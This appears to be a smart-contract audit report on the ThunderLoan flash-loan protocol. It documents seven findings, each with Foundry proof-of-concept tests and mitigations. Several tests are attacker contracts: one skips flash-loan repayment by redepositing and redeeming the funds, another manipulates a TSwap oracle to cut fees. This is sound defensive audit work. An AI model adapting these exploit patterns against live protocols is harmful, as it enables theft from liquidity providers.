ThunderLoan Audit Report

Version 1.0

https://github.com/Heavens01

August 11, 2025

ThunderLoan Audit Report

Heavens01

August 11, 2025

Prepared by: Heavens01 Lead Security Researcher(s): - Heavens01

Table of Contents

* Description:
* Impact:
* Proof of Concept:
* Recommended Mitigation:

Protocol Summary

Thunder Loan

A flash loan protocol based on Aave and Compound.

You can learn more about how Aave works at a high level from this video.

About

The ThunderLoan protocol is meant to do the following:

1. Give users a way to create flash loans
2. Give liquidity providers a way to earn money off their capital

Liquidity providers can `deposit` assets into `ThunderLoan` and be given `AssetTokens` in return. These `AssetTokens` gain interest over time depending on how often people take out flash loans!

What is a flash loan?

A flash loan is a loan that exists for exactly 1 transaction. A user can borrow any amount of assets from the protocol as long as they pay it back in the same transaction. If they don't pay it back, the transaction reverts and the loan is cancelled.

Users additionally have to pay a small fee to the protocol depending on how much money they borrow. To calculate the fee, we're using the famous on-chain TSwap price oracle.

We are planning to upgrade from the current `ThunderLoan` contract to the `ThunderLoanUpgraded` contract. Please include this upgrade in scope of a security review.

Disclaimer

The HEAVENS01 team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the

team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Protocol Source Code

```
git clone https://github.com/Cyfrin/6-thunder-loan-audit
cd 6-thunder-loan-audit
make
```

Audit Scope Details

- Commit Hash: 8803f851f6b37e99eab2e94b4690c8b70e26b3f6
- In Scope:

```
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

- Solc Version: 0.8.20
- Chain(s) to deploy contract to: Ethereum
- ERC20s:
  - USDC
  - DAI
  - LINK
  - WETH

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Known Issues

- We are aware that `getCalculatedFee` can result in 0 fees for very small flash loans. We are OK with that. There is some small rounding errors when it comes to low fees
- We are aware that the first depositor gets an unfair advantage in assetToken distribution. We will be making a large initial deposit to mitigate this, and this is a known issue
- We are aware that "weird" ERC20s break the protocol, including fee-on-transfer, rebasing, and ERC-777 tokens. The owner will vet any additional tokens before adding them to the protocol.

Executive Summary

*We spent 3 Days (72 Hours) with one auditor using solidity metrics tool, aderyn, slither, and manual reading of codebase.

Issues found

Severity	Number of issues found
High	2
Medium	2

Severity	Number of issues found
Low	3
Info/Gas	Not Included
Total	7

Findings

High

[H-1] Malicious Borrower Can Avoid Flash Loan Repayment by Redepositing (Reentrancy + Illegitimate Asset Token Acquisition)

Description:

In the `ThunderLoan` contract, a malicious borrower can take a flash loan and, instead of repaying it, redeposit the borrowed tokens plus the fee using the `ThunderLoan::deposit` function. This allows them to receive AssetTokens, which can later be redeemed for the underlying tokens, effectively bypassing the repayment check and claiming ownership of the borrowed amount. @> Faulty lines in ThunderLoan.sol:

```
    function flashloan(
        address receiverAddress,
        IERC20 token,
        uint256 amount,
        bytes calldata params
    )
        external
        revertIfZero(amount)
        revertIfNotAllowedToken(token)
    {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 startingBalance = IERC20(token).balanceOf(address(
            assetToken));

        if (amount > startingBalance) {
            revert ThunderLoan__NotEnoughTokenBalance(startingBalance,
                amount);
        }

        if (receiverAddress.code.length == 0) {
            revert ThunderLoan__CallerIsNotContract();
```

```
20          }
21
22          uint256 fee = getCalculatedFee(token, amount);
23          // slither-disable-next-line reentrancy-vulnerabilities-2
               reentrancy-vulnerabilities-3
24          assetToken.updateExchangeRate(fee);
25
26          emit FlashLoan(receiverAddress, token, amount, fee, params);
27
28          s_currentlyFlashLoaning[token] = true;
29          assetToken.transferUnderlyingTo(receiverAddress, amount);
30          // slither-disable-next-line unused-return reentrancy-
               vulnerabilities-2
31          receiverAddress.functionCall(
32              abi.encodeCall(
33                  IFlashLoanReceiver.executeOperation,
34                  (
35                      address(token),
36                      amount,
37                      fee,
38                      msg.sender, // initiator
39                      params
40                  )
41              )
42          );
43
44  @>      uint256 endingBalance = token.balanceOf(address(assetToken));
45  @>      if (endingBalance < startingBalance + fee) {
46  @>          revert ThunderLoan__NotPaidBack(startingBalance + fee,
        endingBalance);
47  @>      }
48          s_currentlyFlashLoaning[token] = false;
49      }
```

Impact:

1. Malicious borrowers can bypass flash loan repayment by redepositing borrowed tokens, receiving AssetTokens that allow them to redeem the underlying tokens later.
2. This undermines the protocol's financial integrity, as borrowed funds are not returned as intended, potentially leading to a loss of assets for liquidity providers.
3. The protocol's balance check in `ThunderLoan::flashloan` is rendered ineffective, as the redeposit increases the `AssetToken` contract's balance, satisfying the check without proper repayment.

Proof of Concept:

Add this test & contract to `test/unit/ThunderLoanTest.t.sol`:

```
function testUserLoansAndDepositInsteadOfRepay() public setAllowedToken hasDeposits {
    uint256 amountToBorrow = AMOUNT * 10;
    uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
    DepositOverRepayFLR depositOverRepay = new DepositOverRepayFLR(address(thunderLoan));
    tokenA.mint(address(depositOverRepay), calculatedFee); // Minting for the purpose of depositing the fee as well
    // depositOverRepay has calculatedFee in tokens
    assertEq(IERC20(tokenA).balanceOf(address(depositOverRepay)), calculatedFee);
    vm.startPrank(user);
    thunderLoan.flashloan(address(depositOverRepay), tokenA, amountToBorrow, "");
    depositOverRepay.redeemStolenTokens(tokenA);
    vm.stopPrank();
    // depositOverRepay now has >= amountToBorrow + Fee
    assert(IERC20(tokenA).balanceOf(address(depositOverRepay)) >= amountToBorrow + calculatedFee);
}

contract DepositOverRepayFLR is IFlashLoanReceiver {
    ThunderLoan private thunderLoan;

    constructor(address _thunderLoan) {
        thunderLoan = ThunderLoan(_thunderLoan);
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address, /*initiator*/
        bytes calldata /*params*/
    )
        external
        returns (bool)
    {
        IERC20(token).approve(address(thunderLoan), amount + fee);
        thunderLoan.deposit(IERC20(token), amount + fee);
        return true;
    }

    function redeemStolenTokens(IERC20 token) external {
        thunderLoan.redeem(token, type(uint256).max);
    }
```

```
41 }
```

This test shows a malicious `DepositOverRepayFLR` contract taking a flash loan, depositing the borrowed amount plus fee to receive `AssetTokens`, and then redeeming them to obtain the underlying tokens, bypassing the repayment mechanism.

Recommended Mitigation:

Prevent deposits of the same token during a flash loan by checking the s_currentlyFlashLoaning state in the deposit function.

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
+    if (s_currentlyFlashLoaning[token]) {
+        revert ThunderLoan__NotCurrentlyFlashLoaning();
+    }
    AssetToken assetToken = s_tokenToAssetToken[token];
    uint256 exchangeRate = assetToken.getExchangeRate();
    uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
    emit Deposit(msg.sender, token, amount);
    assetToken.mint(msg.sender, mintAmount);
    uint256 calculatedFee = getCalculatedFee(token, amount);
    assetToken.updateExchangeRate(calculatedFee);
    token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
```

[H-2] Storage Collision in Upgraded Contract Due to Layout Change (Constant Introduction + Slot Shift)

Description:

In `ThunderLoanUpgraded.sol`, `s_feePrecision` is replaced with a constant `FEE_PRECISION`, removing a storage slot. This shifts subsequent variables (e.g., `s_flashLoanFee`, `s_currentlyFlashLoaning`), causing collisions with original layout during upgrade, corrupting state like fees. @> Faulty lines in ThunderLoanUpgraded.sol:

```
uint256 public constant FEE_PRECISION = 1e18;
```

Impact:

1. Upgrades overwrite unrelated state (e.g., fee becomes precision value), breaking functionality like fee calculations.
2. Potential data loss or DOS; e.g., invalid fees prevent flashloans or cause reverts.
3. Breaks upgrade safety, risking funds if not detected.

Proof of Concept:

Add this test to test/unit/ThunderLoanTest.t.sol:

```
function testUpgradeBreaksDueToStorageCollision() public {
    uint256 feeBeforeUpgrade = thunderLoan.getFee();
    vm.startPrank(thunderLoan.owner());
    ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
    thunderLoan.upgradeToAndCall(address(upgraded), "");
    uint256 feeAfterUpgrade = thunderLoan.getFee();
    vm.stopPrank();
    assertNotEq(feeBeforeUpgrade, feeAfterUpgrade); // Fee corrupted
}
```

Recommended Mitigation:

Add a gap array in ThunderLoanUpgraded.sol to preserve layout; initialize constants without removing slots.

```
contract ThunderLoanUpgraded is Initializable, OwnableUpgradeable,
    UUPSUpgradeable, OracleUpgradeable {
    ...
    uint256 private s_flashLoanFee;
-   uint256 public constant FEE_PRECISION = 1e18;
+   uint256 private s_feePrecision; // Preserve slot
+   uint256 public constant FEE_PRECISION = 1e18;
+   uint256[49] private __gap; // Padding for future variables
}
```

MEDIUM

[M-1] Liquidity Provider Can redeem more amount than deposited instantly(Erroneous exchangeRate update + Undeserved Redeem Amount)

Description:

The `ThunderLoan::deposit` function updates `exchangeRate` which denotes the exchangeRate of `assetToken` to `token` based on fees collected. But the `ThunderLoan::deposit` updates this `exchangeRate` without collecting any fees.

```
1      function deposit(IERC20 token, uint256 amount) external
           revertIfZero(amount) revertIfNotAllowedToken(token) {
2          AssetToken assetToken = s_tokenToAssetToken[token];
3          uint256 exchangeRate = assetToken.getExchangeRate();
4          uint256 mintAmount = (amount * assetToken.
               EXCHANGE_RATE_PRECISION()) / exchangeRate;
5          emit Deposit(msg.sender, token, amount);
6          assetToken.mint(msg.sender, mintAmount);
7  @>      uint256 calculatedFee = getCalculatedFee(token, amount);
8  @>      assetToken.updateExchangeRate(calculatedFee);
9          token.safeTransferFrom(msg.sender, address(assetToken), amount)
               ;
10     }
```

The updating of exchangeRate should only exist during collection of fees which is in the `ThunderLaon::flashloan` function. Now this makes redeeming more than deposited possible.

Impact:

1. Liquidity Provider can redeem an amount that is more than deposited.
2. There is a likelihood that Liquidity Provider can redeem an amount less than they deserved
3. There will be a DOS if `ThunderLoan` system doesn't have enough money to pay when trying to pay a LP redeeming an amount is more than he deposited unknowingly.

Proof of Concept:

Here: Liquidity Provider can redeem an amount that is more than deposited.

Add this test to `test/unit/ThunderLoanTest.t.sol`:

POC

```
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

    function testRedeemAmountAboveDepositsMadeImmediatelyWithoutAnyLoanIncome() public setAllowedToken {
        address newUser = makeAddr("newuser");
        vm.startPrank(newUser);
        assertEq(IERC20(tokenA).balanceOf(newUser), 0);
        tokenA.mint(newUser, DEPOSIT_AMOUNT);
        tokenA.approve(address(thunderLoan), DEPOSIT_AMOUNT);
        thunderLoan.deposit(tokenA, DEPOSIT_AMOUNT);
        vm.stopPrank();

        // Another LP deposits (This is so we have more funds for the extra amount sent out wrongly)
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, DEPOSIT_AMOUNT);
        tokenA.approve(address(thunderLoan), DEPOSIT_AMOUNT);
        thunderLoan.deposit(tokenA, DEPOSIT_AMOUNT);
        vm.stopPrank();

        // Note there was no flashloan request yet and yet newUser-LP redeemed more amount than he initially deposited.

        vm.startPrank(newUser);
        thunderLoan.redeem(IERC20(tokenA), DEPOSIT_AMOUNT);
        vm.stopPrank();
        assertGt(IERC20(tokenA).balanceOf(newUser), DEPOSIT_AMOUNT);
    }
```

Recommended Mitigation:

Remove calculation of fees and updating of exchangeRate from the deposit function:

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);
-       uint256 calculatedFee = getCalculatedFee(token, amount);
-       assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

[M-2] Price Manipulation via Oracle Ratio Adjustment (Oracle Price Manipulation + Reduced Fees)

Description:

The `ThunderLoan` contract relies on an external oracle (`OracleUpgradeable`) to determine the price of tokens in WETH for fee calculation in `ThunderLoan::getCalculatedFee`. A malicious user can manipulate the WETH/token ratio in the associated `TSwap` pool, lowering the reported price and reducing flash loan fees.

@> Faulty lines in ThunderLoan.sol:

```
function getCalculatedFee(IERC20 token, uint256 amount) public view
    returns (uint256 fee) {
    uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(
        token))) / s_feePrecision;
    fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
}
```

@> Faulty lines in OracleUpgradeable.sol:

```
function getPriceInWeth(address token) public view returns (uint256) {
    address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token
        );
    return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth();
}
```

Impact:

1. Malicious users can reduce flash loan fees by manipulating the WETH/token price ratio in the `TSwap` pool, leading to lower revenue for the protocol.
2. This undermines the fairness of fee collection, as users can borrow at a lower cost than intended.
3. Potential for repeated exploitation, as the oracle directly queries the pool without safeguards against price manipulation.

Proof of Concept:

Adding this contract `MaliciousFlashLoanReceiver` and this test `testOracleManipulation` to `test/unit/ThunderLoanTest.sol` demonstrates this issue:

POC

```
contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
```

```
    ThunderLoan private thunderLoan;
    BuffMockTSwap private tswapPool;
    address private repayAddress;
    bool private attacked;
    uint256 public feeOne;
    uint256 public feeTwo;

    constructor(address _thunderLoan, address _tswapPool, address
        _repayAddress) {
        thunderLoan = ThunderLoan(_thunderLoan);
        tswapPool = BuffMockTSwap(_tswapPool);
        repayAddress = _repayAddress;
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address, /*initiator*/
        bytes calldata /*params*/
    )
        external
        returns (bool)
    {
        if (!attacked) {
            // Swap tokenA that was first borrowed for WETH
            feeOne = fee;
            attacked = true;
            uint256 wethBought = tswapPool.getOutputAmountBasedOnInput(
                amount, 100e18, 100e18);
            IERC20(token).approve(address(tswapPool), amount);
            // Tank Price of WETH/tokenA on TSwap by swapping tokenA
                for WETH
            tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(amount,
                 wethBought, block.timestamp);
            // Take out another flashloan to show the difference in
                fees
            thunderLoan.flashloan(address(this), IERC20(token), amount,
                 "");
            // repay (Sent directly to assetContract)
            IERC20(token).transfer(address(repayAddress), amount + fee)
                ;
        } else {
            // Calculate the fees and repay the loan
            feeTwo = fee;
            // repay (Sent directly to assetContract)
            IERC20(token).transfer(address(repayAddress), amount + fee)
                ;
        }
        return true;
    }
```

```
}
```

```
function testOracleManipulation() public {
    thunderLoan = new ThunderLoan();
    tokenA = new ERC20Mock();
    proxy = new ERC1967Proxy(address(thunderLoan), "");
    BuffMockPoolFactory poolFactory = new BuffMockPoolFactory(address(
        weth));
    address tswapPool = poolFactory.createPool(address(tokenA));
    thunderLoan = ThunderLoan(address(proxy));
    thunderLoan.initialize(address(poolFactory));
    vm.startPrank(liquidityProvider);
    tokenA.mint(liquidityProvider, 100e18);
    tokenA.approve(tswapPool, 100e18);
    weth.mint(liquidityProvider, 100e18);
    weth.approve(tswapPool, 100e18);
    BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18, block.
        timestamp);
    vm.stopPrank();
    vm.prank(thunderLoan.owner());
    thunderLoan.setAllowedToken(tokenA, true);
    vm.startPrank(liquidityProvider);
    tokenA.mint(liquidityProvider, 1000e18);
    tokenA.approve(address(thunderLoan), 1000e18);
    thunderLoan.deposit(tokenA, 1000e18);
    vm.stopPrank();
    uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA, 100e18
        );
    uint256 amountToBorrow = 50e18;
    MaliciousFlashLoanReceiver maliciousReceiver = new
        MaliciousFlashLoanReceiver(
         address(thunderLoan), tswapPool, address(thunderLoan.
            getAssetFromToken(tokenA))
    );
    vm.startPrank(user);
    tokenA.mint(address(maliciousReceiver), 100e18);
    thunderLoan.flashloan(address(maliciousReceiver), tokenA,
        amountToBorrow, "");
    vm.stopPrank();
    uint256 attackFee = maliciousReceiver.feeOne() + maliciousReceiver.
        feeTwo();
    assert(attackFee < normalFeeCost);
}
```

Recommended Mitigation:

Implement a time-weighted average price (TWAP) or use a decentralized oracle like Chainlink to mitigate price manipulation risks. Additionally, add bounds checking for fees to ensure they don't fall

below a minimum threshold.

```
function getCalculatedFee(IERC20 token, uint256 amount) public view
    returns (uint256 fee) {
     uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(
        token))) / s_feePrecision;
     fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
+     // Add minimum fee threshold to prevent manipulation
+     uint256 MINIMUM_FEE = 1e15; // Example: 0.1% minimum fee
+     if (fee < MINIMUM_FEE) {
+         fee = MINIMUM_FEE;
+     }
}
```

LOW

[L-1] Missing Event Emission in Fee Update Function (Lack of Off-chain Transparency + Reduced Traceability Off-chain)

Description:

The `updateFlashLoanFee` function in `ThunderLoan.sol` updates the `s_flashLoanFee` state variable but does not emit an event to log this change. This omission reduces transparency and makes it difficult for external systems or users to track fee updates off-chain.

```
    function updateFlashLoanFee(uint256 newFee) external onlyOwner {
        if (newFee > s_feePrecision) {
            revert ThunderLoan__BadNewFee();
        }
@>      // No event emission
        s_flashLoanFee = newFee;
    }
```

Impact:

1. Lack of event emission reduces transparency, as off-chain systems or users cannot easily monitor changes to the flash loan fee.
2. Hinders auditability and traceability of critical protocol parameter changes, potentially affecting trust in the protocol.
3. External contracts or frontends relying on events for fee updates may fail to reflect the new fee, leading to incorrect assumptions about costs.

Proof of Concept:

The `ThunderLoan::updateFlashLoanFee` function itself proves so.

Recommended Mitigation:

Add an event definition and emit it in the updateFlashLoanFee function to log fee changes.

```
contract ThunderLoan is Initializable, OwnableUpgradeable,
    UUPSUpgradeable, OracleUpgradeable {
     ...
+    event FlashLoanFeeUpdated(uint256 oldFee, uint256 newFee);
     ...
     function updateFlashLoanFee(uint256 newFee) external onlyOwner {
         if (newFee > s_feePrecision) {
             revert ThunderLoan__BadNewFee();
         }
+        emit FlashLoanFeeUpdated(s_flashLoanFee, newFee);
         s_flashLoanFee = newFee;
     }
}
```

[L-2] Initialize Function Vulnerable to Front-Running (Improper Initialization + Malicious Pool Address)

Description:

The `initialize` function in `ThunderLoan.sol` and `ThunderLoanUpgraded.sol` sets the `s_poolFactory` address for the oracle without a mechanism to prevent front-running. Immediately after deployment of the contract, a malicious address can call initialize with a malicious `poolFactoryAddress` before the protocol deployers calls it, compromising the oracle's integrity.

@> Same faulty lines in both ThunderLoan.sol and ThunderLoanUpgraded.sol:

```
function initialize(address tswapAddress) external initializer {
    __Ownable_init(msg.sender);
    __UUPSUpgradeable_init();
    __Oracle_init(tswapAddress);
    s_feePrecision = 1e18;
    s_flashLoanFee = 3e15; // 0.3% ETH fee
}
```

Impact:

1. A front-runner can initialize the contract with a malicious `poolFactoryAddress`, leading to incorrect price feeds from the oracle, which could manipulate fee calculations or other price-dependent operations.
2. This compromises the protocol's integrity, as a malicious pool factory could return manipulated prices, affecting flash loan fees and user interactions.
3. Recovery requires redeployment or upgrading the contract, which may be costly and disruptive.

Proof of Concept:

Add test to `test/unit/ThunderLoanTest.sol`:

```
function testInitializeFrontRunning() public {
    // Deploy ThunderLoan and proxy
    ThunderLoan thunderLoan = new ThunderLoan();
    ERC1967Proxy proxy = new ERC1967Proxy(address(thunderLoan), "");
    ThunderLoan proxyThunderLoan = ThunderLoan(address(proxy));

    // Malicious actor front-runs initialization
    address maliciousPoolFactory = address(new BuffMockPoolFactory(
        address(weth)));
    vm.prank(address(0xdead));
    proxyThunderLoan.initialize(maliciousPoolFactory);

    // Verify malicious pool factory is set
    assertEq(proxyThunderLoan.getPoolFactoryAddress(),
        maliciousPoolFactory);
}
```

Recommended Mitigation:

Use a deployment script to deploy and initialize the contract in a single transaction, ensuring the intended poolFactoryAddress is set atomically.

[L-3] Persistent Elevated Exchange Rate Dilutes New Deposits After Full Redemption (Incorrect Invariant + Loss of Funds)

Description:

The `AssetToken` contract enforces an invariant that the exchange rate (`s_exchangeRate`) must only increase, reverting in `updateExchangeRate` if it does not. This is incorrect because the rate

should reflect the current ratio of underlying tokens to asset token supply. After full redemption (totalSupply = 0), the rate remains elevated, causing new deposits to mint fewer asset tokens than deposited, leading to losses upon immediate redemption due to integer division truncation. The issue persists even after removing fee updates from deposit, as the rate does not reset to 1e18 when the pool is empty.

@> Faulty lines in `AssetToken.sol`:

```
if (newExchangeRate <= s_exchangeRate) {
    revert AssetToken__ExhangeRateCanOnlyIncrease(s_exchangeRate,
        newExchangeRate);
}
```

@> Related in ThunderLoan.sol (redemption):

```
uint256 amountUnderlying = (amountOfAssetToken * exchangeRate) /
    assetToken.EXCHANGE_RATE_PRECISION();
```

Impact:

1. New LPs depositing after full redemption receive fewer asset tokens (e.g., 99.7e18 for 100e18 deposit), losing funds upon redemption (e.g., ~1 wei loss in test).
2. Persistent high rate misrepresents empty pool state, breaking the intended 1:1 ratio when no underlying or asset tokens remain.
3. Cumulative precision losses over cycles deter participation and erode trust in the protocol.

Proof of Concept:

Remove the getting of fees and updation of exchangeRate in deposit which is a wrong implementation for this test to pass succesfully. Add this test to `test/unit/ThunderLoanTest.t.sol`:

POC

```
function testWithdrawalsAndStateAfterFlashloan() public setAllowedToken
    {
    console.log("Step 1: Two LPs deposit 100e18 and 100e18 respectively
        ");
    // LP1 deposits
    address lp1 = makeAddr("lp1");
    vm.startPrank(lp1);
    tokenA.mint(lp1, 100e18);
    tokenA.approve(address(thunderLoan), 100e18);
    thunderLoan.deposit(tokenA, 100e18);
    console.log("LP1 minted asset tokens: %s", thunderLoan.
        getAssetFromToken(tokenA).balanceOf(lp1));
```

```
10      console.log("Exchange rate after LP1: %s", thunderLoan.
            getAssetFromToken(tokenA).getExchangeRate());
11      vm.stopPrank();
12
13      // LP2 deposits
14      address lp2 = makeAddr("lp2");
15      vm.startPrank(lp2);
16      tokenA.mint(lp2, 100e18);
17      tokenA.approve(address(thunderLoan), 100e18);
18      thunderLoan.deposit(tokenA, 100e18);
19      console.log("LP2 minted asset tokens: %s", thunderLoan.
            getAssetFromToken(tokenA).balanceOf(lp2));
20      console.log("Exchange rate after LP2: %s", thunderLoan.
            getAssetFromToken(tokenA).getExchangeRate());
21      vm.stopPrank();
22
23      console.log("Step 2: Flashloan of 200e18 made and repaid");
24      uint256 borrowAmount = 200e18;
25      vm.startPrank(user);
26      tokenA.mint(address(mockFlashLoanReceiver), thunderLoan.
            getCalculatedFee(tokenA, borrowAmount));
27      thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
            borrowAmount, "");
28      console.log("Exchange rate after flashloan: %s", thunderLoan.
            getAssetFromToken(tokenA).getExchangeRate());
29      vm.stopPrank();
30
31      console.log("Step 3: LP1 and LP2 withdraw");
32      vm.startPrank(lp1);
33      thunderLoan.redeem(tokenA, type(uint256).max);
34      console.log("LP1 withdrew: %s (gain: %s)", tokenA.balanceOf(lp1),
            tokenA.balanceOf(lp1) - 100e18);
35      console.log("Exchange rate after LP1: %s", thunderLoan.
            getAssetFromToken(tokenA).getExchangeRate());
36      vm.stopPrank();
37
38      vm.startPrank(lp2);
39      thunderLoan.redeem(tokenA, type(uint256).max);
40      console.log("LP2 withdrew: %s (gain: %s)", tokenA.balanceOf(lp2),
            tokenA.balanceOf(lp2) - 100e18);
41      vm.stopPrank();
42
43      console.log("Step 4: Check exchange rate");
44      uint256 finalExchangeRate = thunderLoan.getAssetFromToken(tokenA).
            getExchangeRate();
45      console.log("Final exchange rate: %s", finalExchangeRate);
46
47      console.log("Step 5: Check asset token total supply and tokenA
            balance");
48      AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA);
49      uint256 totalSupply = assetToken.totalSupply();
```

```
50      uint256 tokenABalance = tokenA.balanceOf(address(assetToken));
51      console.log("Asset token total supply: %s", totalSupply);
52      console.log("TokenA balance in asset token contract: %s",
            tokenABalance);
53      assertEq(totalSupply, 0); // No asset tokens left after withdrawals
54      assertEq(tokenABalance, 0); // No tokenA left after withdrawals
55
56      console.log("Step 6: New LP (LP3) deposits 100e18");
57      address lp3 = makeAddr("lp3");
58      vm.startPrank(lp3);
59      tokenA.mint(lp3, 100e18);
60      uint256 lp3BalanceBefore = 100e18;
61      tokenA.approve(address(thunderLoan), 100e18);
62      thunderLoan.deposit(tokenA, 100e18);
63      console.log("LP3 minted asset tokens: %s", thunderLoan.
            getAssetFromToken(tokenA).balanceOf(lp3));
64      console.log("Exchange rate after LP3 deposit: %s", thunderLoan.
            getAssetFromToken(tokenA).getExchangeRate());
65      vm.stopPrank();
66
67      console.log("Step 7: LP3 withdraws");
68      vm.startPrank(lp3);
69      thunderLoan.redeem(tokenA, type(uint256).max);
70      uint256 lp3BalanceAfter = tokenA.balanceOf(lp3);
71      console.log("BalanceBefore: %s", lp3BalanceBefore);
72      console.log("BalanceAfterr: %s", lp3BalanceAfter);
73      console.log("LP3 withdrew: ", int256(lp3BalanceAfter));
74      console.log("LP3 gain: ", int256(int256(lp3BalanceAfter) - 100e18))
            ;
75      console.log("Exchange rate after LP3 withdraw: %s", thunderLoan.
            getAssetFromToken(tokenA).getExchangeRate());
76      vm.stopPrank();
77      assertLt(lp3BalanceAfter, 100e18); // LP3 gets less than deposit
            back (no flashloan fees)
78  }
```

- Two LPs deposit 100e18 each, flashloan increases rate to 1.003e18.
- Both LPs redeem, leaving 0 supply and 0 underlying balance.
- New LP deposits 100e18, mints ~99.7e18 asset tokens, and redeems ~99.999e18 underlying, losing ~1 wei due to the persistent elevated rate.

Recommended Mitigation:

Reset the exchange rate to STARTING_EXCHANGE_RATE (1e18) in redeem when totalSupply becomes 0 after burning, ensuring new deposits in an empty pool mint at a 1:1 ratio.

```
1  function redeem(IERC20 token, uint256 amountOfAssetToken) external
       revertIfZero(amountOfAssetToken) revertIfNotAllowedToken(token) {
```

```
    ...
    assetToken.burn(msg.sender, amountOfAssetToken);
+   if (assetToken.totalSupply() == 0) {
+       assetToken.resetExchangeRate();
+   }
    assetToken.transferUnderlyingTo(msg.sender, amountUnderlying);
}
```

In `AssetToken.sol`:

```
+function resetExchangeRate() external onlyThunderLoan {
+    s_exchangeRate = STARTING_EXCHANGE_RATE;
+}
```